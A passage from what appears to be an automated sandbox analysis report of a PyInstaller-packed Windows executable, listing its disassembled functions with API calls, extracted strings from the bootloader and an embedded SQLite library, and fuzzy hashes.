                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: -$:$f$p$p
                                                                                                                                                                                                                                          • API String ID: 3215553584-2013873522
                                                                                                                                                                                                                                          • Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
                                                                                                                                                                                                                                          • Instruction ID: 6143543d8d5f25de2ef7d33a1b0018e42ac4e6fa64014249bd84c1489f712d7d
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: AC128271F0C94386FB30BAA9E1542B9F695FB40790FD44275E6CA466C8FB7CE5908B20
                                                                                                                                                                                                                                          Function 00007FF79D061038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: f$f$p$p$f
                                                                                                                                                                                                                                          • API String ID: 3215553584-1325933183
                                                                                                                                                                                                                                          • Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
                                                                                                                                                                                                                                          • Instruction ID: f7d127aeb4e32591877b747e28634ae6243e8c6ff7937f9f89283ac25208b5af
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: C5127326F0C94386FB30BAA9E05467DE261FB50754FD84235E7DA479C4EB7CE4808B62
                                                                                                                                                                                                                                          Function 00007FFD94132070 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 414COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %s %T already exists$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
                                                                                                                                                                                                                                          • API String ID: 1436585979-2846519077
                                                                                                                                                                                                                                          • Opcode ID: f9b62292e15983dd92f3d336a42f126a0ce1eb18eb7dc8c6fabe0fe700413ad5
                                                                                                                                                                                                                                          • Instruction ID: 1961af97d684182702b26a927945c8c3885a051ebaf8ca0aab2f46e0221db256
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: f9b62292e15983dd92f3d336a42f126a0ce1eb18eb7dc8c6fabe0fe700413ad5
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: C002AFA2B08B8286EB24EF6195B07A93791FB86BC4F408235DE4D27796DF3DE545C700
                                                                                                                                                                                                                                          Function 00007FFD940E0A30 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 135COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: new[]
                                                                                                                                                                                                                                          • String ID: %s%c%s$:$:$?$\$winFullPathname1$winFullPathname2
                                                                                                                                                                                                                                          • API String ID: 4059295235-3840279414
                                                                                                                                                                                                                                          • Opcode ID: 7514e8fd5d93be79fc71e0024bcf4f49aeb845a9e117b097cb897556365a7ddf
                                                                                                                                                                                                                                          • Instruction ID: 990cb4b77a11c5f11ff82c09463a6ecc79d7e1a4bdc259f078ff90fca7c10686
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7514e8fd5d93be79fc71e0024bcf4f49aeb845a9e117b097cb897556365a7ddf
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: B051BF11B0C39645FB359BA164B16BB6A91BF46BC8F48C132E94D07687DE2CE46AE300
                                                                                                                                                                                                                                          Function 00007FF79D051050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                                                                                                                                                                                                          • API String ID: 2050909247-3659356012
                                                                                                                                                                                                                                          • Opcode ID: 194f8532104c152269950c71228d9b0f24efcc2cb1614788f1b642d546cdeff3
                                                                                                                                                                                                                                          • Instruction ID: a44328b0765ff4c4bb6a7cc7485f02c92656f26ddf43a19520d3c5004b3f7092
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 194f8532104c152269950c71228d9b0f24efcc2cb1614788f1b642d546cdeff3
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6B414A21B0C65282EA20FB7AE8006B9E394EF45B84FD44531ED8D0B796EE3CE5018765
                                                                                                                                                                                                                                          Function 00007FF79D058850 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetTempPathW.KERNEL32(?,?,00000000,00007FF79D053CBB), ref: 00007FF79D0588F4
                                                                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32(?,00000000,00007FF79D053CBB), ref: 00007FF79D0588FA
                                                                                                                                                                                                                                          • CreateDirectoryW.KERNEL32(?,00000000,00007FF79D053CBB), ref: 00007FF79D05893C
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058A20: GetEnvironmentVariableW.KERNEL32(00007FF79D05388E), ref: 00007FF79D058A57
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058A20: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF79D058A79
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D0682A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79D0682C1
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D052810: MessageBoxW.USER32 ref: 00007FF79D0528EA
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
                                                                                                                                                                                                                                          • API String ID: 3563477958-1339014028
                                                                                                                                                                                                                                          • Opcode ID: e7f7d737786deb8485312a2eb98f4769331debcd6954f8bf1608d04e150fa3ce
                                                                                                                                                                                                                                          • Instruction ID: 2de55fa10701e996c05a6b65ab2b7c1d20acf42a3b695954645b2862e584bb26
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: e7f7d737786deb8485312a2eb98f4769331debcd6954f8bf1608d04e150fa3ce
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DC419011B1DA4280EA34BB7EA8562F99291EF8A784FC40131ED8D477D6FE7CE5418720
                                                                                                                                                                                                                                          Function 00007FFD940E2CE0 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 339COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$API called with NULL prepared statement$API called with finalized prepared statement$ATTACH x AS %Q$misuse
                                                                                                                                                                                                                                          • API String ID: 1436585979-1404302391
                                                                                                                                                                                                                                          • Opcode ID: c816f0f94f48910cad20fe28f8d79b4ef0e17281c282a94227bcaf6de0425057
                                                                                                                                                                                                                                          • Instruction ID: cefd1cc31e6984e160dc45f74430be412552e8c9caebd0f244bd5ae29326bd4e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: c816f0f94f48910cad20fe28f8d79b4ef0e17281c282a94227bcaf6de0425057
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: F3F15821B09A4281EA749BA5A8B437B77A4BF82FC0F148139DA4D477A6CF3DE455E300
                                                                                                                                                                                                                                          Function 00007FF79D05EA78 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                                                                                                                                                                                          • String ID: csm$csm$csm
                                                                                                                                                                                                                                          • API String ID: 849930591-393685449
                                                                                                                                                                                                                                          • Opcode ID: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
                                                                                                                                                                                                                                          • Instruction ID: ab27a88939adbe166ce55919dc32e4858b9b3a4ca3705c11df808c31691c28cb
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: A0D1803291C74186EB30AB7A94403ADBBA0FB45798F900135EECD57B95EF38E491D721
                                                                                                                                                                                                                                          Function 00007FF79D06ED80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?,?,?,00007FF79D06F11A,?,?,000001CF425E6668,00007FF79D06ADC3,?,?,?,00007FF79D06ACBA,?,?,?,00007FF79D065FAE), ref: 00007FF79D06EEFC
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,?,?,00007FF79D06F11A,?,?,000001CF425E6668,00007FF79D06ADC3,?,?,?,00007FF79D06ACBA,?,?,?,00007FF79D065FAE), ref: 00007FF79D06EF08
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AddressFreeLibraryProc
                                                                                                                                                                                                                                          • String ID: api-ms-$ext-ms-
                                                                                                                                                                                                                                          • API String ID: 3013587201-537541572
                                                                                                                                                                                                                                          • Opcode ID: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
                                                                                                                                                                                                                                          • Instruction ID: e8181057edb1e32a14292f4f70999315b4bbac2d05b92114095a6ae3bc07836f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 44411221B1DB0241FA35EB7E9804679A691BF49B90FC88639ED9D4B384FE3DE4058320
                                                                                                                                                                                                                                          Function 00007FF79D052C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF79D053706,?,00007FF79D053804), ref: 00007FF79D052C9E
                                                                                                                                                                                                                                          • FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF79D053706,?,00007FF79D053804), ref: 00007FF79D052D63
                                                                                                                                                                                                                                          • MessageBoxW.USER32 ref: 00007FF79D052D99
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Message$CurrentFormatProcess
                                                                                                                                                                                                                                          • String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
                                                                                                                                                                                                                                          • API String ID: 3940978338-251083826
                                                                                                                                                                                                                                          • Opcode ID: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
                                                                                                                                                                                                                                          • Instruction ID: 7f966718316647e9015da6a19aee6351e4c654cab69875f84b80614f5a97cbf4
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0131A922B0CA4142E630BB3AA8146BBA695BF847D8F814135DF8D97759FE3CD546C710
                                                                                                                                                                                                                                          Function 00007FFD94108F60 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 139COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • 00007FFDA4173010.VCRUNTIME140(?,?,-8000000000000000,?,00000000,00007FFD9414D0A0), ref: 00007FFD941090FD
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$API called with NULL prepared statement$API called with finalized prepared statement$misuse
                                                                                                                                                                                                                                          • API String ID: 1436585979-3538577999
                                                                                                                                                                                                                                          • Opcode ID: 0a3484beb9c9ca2bbf2017b99d1a511fee6e4b4e06a0eb8fc86bdb3109459572
                                                                                                                                                                                                                                          • Instruction ID: f2d3fd14bcf78c08d556047ebd6acf4b30bd896a9c27476771391c2159857dc2
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0a3484beb9c9ca2bbf2017b99d1a511fee6e4b4e06a0eb8fc86bdb3109459572
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: D951B123B1E65285FB34AB9594B02B96395AF82BA0F18C131DE5D673DBEE3DE445C300
                                                                                                                                                                                                                                          Function 00007FF79D05DD38 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • LoadLibraryExW.KERNEL32(?,?,?,00007FF79D05DFEA,?,?,?,00007FF79D05DCDC,?,?,?,00007FF79D05D8D9), ref: 00007FF79D05DDBD
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,?,?,00007FF79D05DFEA,?,?,?,00007FF79D05DCDC,?,?,?,00007FF79D05D8D9), ref: 00007FF79D05DDCB
                                                                                                                                                                                                                                          • LoadLibraryExW.KERNEL32(?,?,?,00007FF79D05DFEA,?,?,?,00007FF79D05DCDC,?,?,?,00007FF79D05D8D9), ref: 00007FF79D05DDF5
                                                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?,?,?,00007FF79D05DFEA,?,?,?,00007FF79D05DCDC,?,?,?,00007FF79D05D8D9), ref: 00007FF79D05DE63
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,?,?,00007FF79D05DFEA,?,?,?,00007FF79D05DCDC,?,?,?,00007FF79D05D8D9), ref: 00007FF79D05DE6F
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Library$Load$AddressErrorFreeLastProc
                                                                                                                                                                                                                                          • String ID: api-ms-
                                                                                                                                                                                                                                          • API String ID: 2559590344-2084034818
                                                                                                                                                                                                                                          • Opcode ID: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
                                                                                                                                                                                                                                          • Instruction ID: bf20dcbf055333a66e8caf35eb22af08aabe8af9936c2d230552b2dc5ce8399c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 90317221B2E64291EE31BB2BA804579A394FF58BA0FD94536DD9D4B380FF3CE4548270
